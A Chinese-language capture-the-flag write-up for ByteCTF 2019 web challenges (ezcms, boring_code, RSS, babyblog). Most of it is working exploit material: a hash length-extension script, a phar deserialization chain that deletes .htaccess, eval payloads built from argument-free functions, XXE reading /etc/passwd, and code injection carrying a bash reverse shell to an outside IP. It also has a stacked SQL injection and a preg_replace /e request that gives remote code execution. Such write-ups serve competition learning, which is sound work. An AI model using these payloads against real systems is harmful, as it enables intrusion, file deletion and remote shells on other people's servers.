bytectf2019 wp

web

ezcms

www.zip 得到题目源码

hash 长度拓展攻击

首先是简单的 hash 长度拓展攻击,成为 admin

1
2
3
4
5
6
7
8
9
from hashpumpy import hashpump
import urllib

origin_hash='52107b08c0f3342d2153ae1d68e6262c'
data = hashpump(origin_hash, "admin", 'daolgts', 13)

print data

print urllib.quote(data[1])

secret 长度为8,加上 admin 为13

得到的结果在 cookie['user'] 加上

phar反序列化删除.htaccess

config.php 里的 File 类中发现 mime_content_type 函数,这个函数是能触发phar反序列化的

发现 Profile 类的 __call 方法比较可疑,调用了 open 方法,想到之前看到的一叶飘零师傅的文章 https://www.4hou.com/web/17976.html ,这里也是可以通过调用 ZipArchiveopen 方法来删除文件

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class Profile{

public $username;
public $password;
public $admin;

function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}

class File{

public $filename;
public $filepath;
public $checker;

function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}

function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}

}

$zip=new ZipArchive();
// $zip->filename="/var/www/html/sandbox/d192c183a36d3a245d7861f3c0c2dc0c/.htaccess";
var_dump($zip);


$a = new Profile();
$a->username = "/var/www/html/sandbox/d192c183a36d3a245d7861f3c0c2dc0c/.htaccess";
$a->password = "9";
$a->admin= $zip;
var_dump($a);

$o = new File('a','b');
$o->checker = $a;
var_dump($o);

@unlink("daolgts_fuck.phar");
$phar = new Phar("daolgts_fuck.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头

$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

这里踩了好几个坑,先是文件名应该是传入绝对路径,一开始传入 ./sandbox/d192c183a36d3a245d7861f3c0c2dc0c/.htaccess 时有问题,debug发现是拼接了 php 的路径,而不是 web 目录的路径(/var/www/html),后来验证了下 web 目录确实是 /var/www/html。然后是一开始每次执行完 payload 我都要去访问下 upload.php,结果又把 .htaccess 给生成了,导致我一直以为 exp 写的有问题,debug 了好长时间。。

然后绕过正则对 phar 的过滤

1
http://112.126.102.158:9999/view.php?filename=2ac37df34ba3d49e6138e7892d406da0.phar&filepath=php://filter/read/resource=phar://./sandbox/d192c183a36d3a245d7861f3c0c2dc0c/2ac37df34ba3d49e6138e7892d406da0.phar

之后访问上传的shell

n5Tohn.png
n5T7pq.png
n5TH10.png

boring_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

url 里需要有 baidu.com,可以注册 xxxbaidu.com 之类的域名,也可以利用 https://www.baidu.com/link?url=xxx

之后就是匹配正则 if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)),传入无参数的函数来执行

几个payload:

  1. echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
  2. readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));
  3. echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
  4. if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

基本的思路就是通过 pos(localeconv()) 或者 chr(time()) 又或者其他的操作来获得 .,再通过 nextscandir 获得 ..index.php(要读的文件),使用 chdir来切换目录,读取flag

当正则允许的字符为 \w 时,可以使用 getenv(),getallheaders(),get_defined_vars(),session_id() 等来RCE https://xz.aliyun.com/t/6316

RSS

RSS 也是一种XML,也有xxe漏洞

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

读源码,发现

1
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

order 存在代码注入

payload:

1
2
3
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://www.zsxsoft.com/rss222.php&order=id,1)%2Bsystem('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F129.204.79.120%2F23458%200%3E%261%22')%2Bstrcmp(''" >

babyblog

$row['title'] 没有任何过滤,二次注入获得vip账号或者堆叠注入UPDATE为vip用户

1
hpdoger';SET @SQL=0x555044415445207573657273205345542069737669703d3120574845524520757365726e616d653d276870646f67657227;PREPARE pord FROM @SQL;EXECUTE pord;#
1
$content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content']));

php5.3,find处可以用/e修饰符来rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
----------1922216787
Content-Disposition: form-data; name="find"

bb%00/e
----------1922216787
Content-Disposition: form-data; name="replace"

eval($_POST['cc']);
----------1922216787
Content-Disposition: form-data; name="regex"

1
----------1922216787
Content-Disposition: form-data; name="id"

971
----------1922216787
Content-Disposition: form-data; name="cc"

var_dump(antsystem('/readflag'));
exit;
----------1922216787--

然后利用 php-fpm 或者 error_Log 来绕过 disable_functions

referer